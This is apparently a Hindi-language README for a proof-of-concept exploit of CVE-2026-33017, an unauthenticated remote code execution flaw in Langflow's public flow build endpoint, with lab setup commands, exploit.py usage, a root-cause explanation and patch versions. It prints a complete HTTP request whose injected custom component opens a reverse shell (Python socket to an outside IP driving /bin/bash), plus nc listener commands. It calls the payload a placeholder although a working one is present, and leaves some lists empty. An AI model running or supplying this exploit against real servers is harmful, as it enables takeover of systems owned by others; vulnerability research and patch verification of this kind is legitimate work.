
CVE-2026-33017 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Langflow के build_public_tmp एंडपॉइंट में एक अनऑथेंटिकेटेड RCE है, जो रिवर्स शेल प्राप्त करने के लिए एक दुर्भावनापूर्ण कस्टम कंपोनेंट इंजेक्ट करता है।
★ CVE-2026-33017 Langflow रिमोट कोड एक्ज़ीक्यूशन PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
कमजोर Langflow वातावरण को बनाने और चलाने के लिए निम्नलिखित कमांड का उपयोग करें:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
कमजोर Langflow इंस्टेंस शुरू करने के बाद, लक्ष्य URL, Public flow ID, और हमलावर callback पते के साथ PoC चलाएँ।
विकल्प A — अपना स्वयं का listener उपयोग करें:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
विकल्प B — --listen के साथ अंतर्निहित listener का उपयोग करें:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Option | Description |
|---|---|
--url | लक्ष्य Langflow सर्वर URL |
--flow-id | साझा किए गए Public flow का UUID |
--lhost | हमलावर callback IP |
--lport | हमलावर callback पोर्ट |
--listen | बाहरी nc के बजाय अंतर्निहित listener चलाएँ |
CVE-2026-33017 Langflow की Public flow build प्रक्रिया में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है, जो LLM अनुप्रयोगों और AI वर्कफ़्लो को दृश्य रूप से बनाने के लिए एक ओपन-सोर्स प्लेटफ़ॉर्म है।
build_public_tmpएंडपॉइंट पर बिना प्रमाणीकरण के तैयार किए गए flow डेटा भेजकर, एक हमलावर सर्वर पर मनमाना Python कोड निष्पादित करा सकता है।
CVE-2026-33017 Langflow में निम्नलिखित Public flow build एंडपॉइंट को प्रभावित करता है, जो LLM अनुप्रयोगों और AI वर्कफ़्लो को दृश्य रूप से बनाने के लिए एक ओपन-सोर्स प्लेटफ़ॉर्म है।
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow में एक Public flow को लिंक या समान तंत्र के माध्यम से अन्य उपयोगकर्ताओं के साथ साझा करने के लिए डिज़ाइन किया गया है।
इस सुविधा का समर्थन करने के लिए, build एंडपॉइंट flow के नोड्स, एज और सेटिंग्स को पढ़कर बिना प्रमाणीकरण के flow को निष्पादन के लिए तैयार करता है, और फिर इसे चलाने के लिए आवश्यक आंतरिक निष्पादन ग्राफ़ का निर्माण करता है।
समस्या यह थी कि build_public_tmp के कमजोर संस्करणों ने सर्वर पर संग्रहीत Public flow जानकारी के अलावा, अनुरोध बॉडी में आपूर्ति किए गए data फ़ील्ड को भी स्वीकार किया।
इस data फ़ील्ड में संपूर्ण flow परिभाषा शामिल हो सकती थी, जिसमें:
परिणामस्वरूप, एक हमलावर सर्वर पर संग्रहीत वैध Public flow पर निर्भर रहने के बजाय, एक अप्रमाणित अनुरोध का उपयोग करके पूरी तरह से हमलावर-नियंत्रित flow संरचना को इंजेक्ट कर सकता था।
इस डिज़ाइन का एक विशेष रूप से खतरनाक हिस्सा Custom Component सुविधा है।
Langflow में, एक कंपोनेंट इनपुट हैंडलिंग, मॉडल इनवोकेशन, या आउटपुट जनरेशन जैसे कार्यों के लिए जिम्मेदार एक व्यक्तिगत कार्यात्मक ब्लॉक का प्रतिनिधित्व करता है। एक कस्टम कंपोनेंट एक विस्तारणीय ब्लॉक है जो उपयोगकर्ताओं को सीधे Python कोड में इसका व्यवहार परिभाषित करने की अनुमति देता है।
इसलिए एक हमलावर तैयार किए गए data ऑब्जेक्ट के अंदर दुर्भावनापूर्ण Python कोड वाला एक कस्टम कंपोनेंट एम्बेड कर सकता था, और सर्वर इसे flow के सामान्य हिस्से की तरह संसाधित करेगा। परिणामस्वरूप, इंजेक्ट किया गया कोड build या निष्पादन प्रक्रिया के दौरान पार्स और निष्पादित किया जा सकता था, जो अंततः रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।
| Category | Version |
|---|---|
| Vulnerable | Langflow 1.9.0 से पहले |
| Patched | Langflow 1.9.0 और बाद में |
GitHub Security Advisory प्रभावित सीमा को
<= 1.8.2के रूप में सूचीबद्ध करता है, लेकिन फिक्स —dataपैरामीटर को हटाना — 1.9.0 में आया। इसलिए 1.9.0 से पहले के सभी रिलीज़ (1.8.3 / 1.8.4 सहित) प्रभावित हैं, यही कारण है कि CVE Record< 1.9.0बताता है।
इस कमजोरी का सफल शोषण एक हमलावर को Langflow सर्वर का नियंत्रण लेने और इसके बाद की कार्रवाइयाँ करने की अनुमति दे सकता है, जैसे:
निम्नलिखित PoC Langflow 1.8.1 पर CVE-2026-33017 को प्रदर्शित करता है।
हमलावर पहले लक्ष्य Public flow के flow_id की पहचान करता है।

हमलावर एक build_public_tmp अनुरोध भेजता है जो एक कस्टम कंपोनेंट इंजेक्ट करता है जिसका Python code अस्थायी build के दौरान सर्वर पर निष्पादित होता है। नीचे दिए गए अनुरोध में, code मान एक प्लेसहोल्डर के रूप में छोड़ा गया है — पेलोड स्वयं डालें (अनुरोध के नीचे दिया गया नोट देखें)।
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Build प्रक्रिया के दौरान, कस्टम कंपोनेंट में एम्बेड किया गया कोड सर्वर पर निष्पादित होता है। जब रिवर्स शेल वेरिएंट (exploit.py द्वारा स्वचालित) का उपयोग किया जाता है, तो हमलावर के listener से वापस कनेक्शन स्थापित होता है, जिससे हमलावर को सर्वर पर मनमाने कमांड चलाने के लिए एक इंटरैक्टिव शेल मिलता है।

हालाँकि build_public_tmp का उद्देश्य Public flows को बनाना था, कमजोर संस्करणों ने अभी भी अनुरोध बॉडी से सीधे data फ़ील्ड स्वीकार किया।
इस डिज़ाइन के कारण, हमलावर द्वारा आपूर्ति किया गया data सीधे सर्वर-साइड build लॉजिक में पारित किया गया, और कस्टम कंपोनेंट में एम्बेड किया गया कोई भी Python कोड वैध flow के हिस्से के रूप में संभाला गया।
परिणामस्वरूप, एक हमलावर को सर्वर पर संग्रहीत मूल Public flow पर निर्भर रहने की आवश्यकता नहीं थी। इसके बजाय, वे अपनी पूरी तरह से दुर्भावनापूर्ण flow परिभाषा इंजेक्ट कर सकते थे, जिसमें सर्वर पर निष्पादित किया जा सकने वाला कोड भी शामिल था।
पैच के बाद, build_public_tmp अब बाहरी रूप से आपूर्ति किए गए data को स्वीकार नहीं करता है।
दूसरे शब्दों में, वह पथ जो पहले हमलावरों को अनुरोध बॉडी के माध्यम से संपूर्ण flow परिभाषा इंजेक्ट करने की अनुमति देता था, हटा दिया गया, जिसने दुर्भावनापूर्ण कस्टम कंपोनेंट के माध्यम से मनमाना कोड निष्पादन को भी रोक दिया।